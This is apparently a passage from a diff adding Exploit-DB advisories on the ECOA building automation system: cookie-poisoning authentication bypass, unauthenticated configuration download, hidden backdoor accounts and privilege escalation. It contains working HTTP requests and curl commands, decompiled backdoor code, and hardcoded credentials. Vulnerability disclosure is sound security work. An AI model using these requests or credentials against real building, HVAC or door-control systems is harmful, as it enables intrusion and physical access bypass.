on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller suffers from an authentication bypass vulnerability. An unauthenticated attacker +through cookie poisoning can bypass authentication and disclose sensitive information and circumvent +physical access controls in smart homes and buildings and manipulate HVAC. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5672 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5672.php + + +25.06.2021 + +-- + + +Authentication Bypass +--------------------- + +- Authentication bypass happens by modifying the Cookie values. +- Setting the UCLS Cookie larger or equal to 19 bypasses security controls. + + +Request: + +GET /menu.jsp?fname=../sysuse/system01.frm&time=5 HTTP/1.1 +Host: 192.168.1.3:8080 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Cookie: JSESSIONID=t00tw00t; UCLS=251; UID=zero; PWD=science; ROOT=FOUND; AlmCt=0 +Upgrade-Insecure-Requests: 1 +Pragma: no-cache +Cache-Control: no-cache \ No newline at end of file diff --git a/exploits/hardware/webapps/50280.txt b/exploits/hardware/webapps/50280.txt new file mode 100644 index 000000000..f4039ea51 --- /dev/null +++ b/exploits/hardware/webapps/50280.txt @@ -0,0 +1,131 @@ +# Exploit Title: ECOA Building Automation System - Configuration Download Information Disclosure +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Configuration Download Information Disclosure + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller is vulnerable to configuration disclosure when direct object reference is made +to the syspara.dat or images.dat files using an HTTP GET request. This will enable the attacker to +disclose sensitive information and help her in authentication bypass, privilege escalation and full +system access. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5673 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5673.php + + +25.06.2021 + +-- + + +Configuration / Backup Download / Privilege Escalation / Password Disclosure +---------------------------------------------------------------------------- + +- Unauthenticated config download reveals plain-text passwords + +$ curl -s -O -H 'Cookie: UCLS=19' http://192.168.1.3:8080/syspara.dat +$ curl -s -O -H 'Cookie: UCLS=19' http://192.168.1.3:8080/images.dat +$ strings * +... +... +/opt/webpage/pwsd.bin +/user +user +embed +power +1234 +1234 +/opt/webpage/system.bin +Oboothr=24 +bootmin=00 +OutIDWork=Y +language=big5 +seclanguage=Y +ValSet=Y +allpollTm=500 +httpusr=embed +httppwd=power +... +... \ No newline at end of file diff --git a/exploits/hardware/webapps/50281.txt b/exploits/hardware/webapps/50281.txt new file mode 100644 index 000000000..d29e73c82 --- /dev/null +++ b/exploits/hardware/webapps/50281.txt @@ -0,0 +1,114 @@ +# Exploit Title: ECOA Building Automation System - Hidden Backdoor Accounts and backdoor() Function +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Hidden Backdoor Accounts and backdoor() Function + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller has hidden backdoors in several binaries that serve the web application. Any +unauthenticated attacker can download all the resources and binaries/services that serve the controller +and search for the 'backdoor()' function in httpser.elf as well as discover hidden credentials for +backdoor access with full functionality of the Smart Home, Access Control and Building Automation +System solutions. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5674 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5674.php + + +25.06.2021 + +-- + + +Backdoor Accounts / Authentication Bypass +----------------------------------------- + +- Example of backdoors revealed in httpser.elf binary: +... +... + VAR2 = strstr(ARG1,"username=humexembed&password=simonamandoor"); + if (VAR2 == (char *)0x0) { + VAR2 = strstr(ARG1,"username=amandoor&password=amandoor"); +... +... \ No newline at end of file diff --git a/exploits/hardware/webapps/50284.txt b/exploits/hardware/webapps/50284.txt new file mode 100644 index 000000000..63e0244ce --- /dev/null +++ b/exploits/hardware/webapps/50284.txt @@ -0,0 +1,110 @@ +# Exploit Title: ECOA Building Automation System - Remote Privilege Escalation +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Remote Privilege Escalation + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller is vulnerable to weak access control mechanism allowing any user to escalate +privileges by disclosing credentials of administrative accounts in plain-text. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5677 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5677.php + + +25.06.2021 + +-- + + +Privilege Escalation +-------------------- + +- Any user can navigate to the User Edit page (useredt.jsp) and see the password of other users in clear-text. + + +Request: + +$ curl -s http://192.168.1.3:8080//useredt.jsp -H "Cookie: JSESSIONID=t00tw00t; UCLS=19; UID=user; PWD=user; ROOT=FOUND; AlmCt=0" |findstr embed +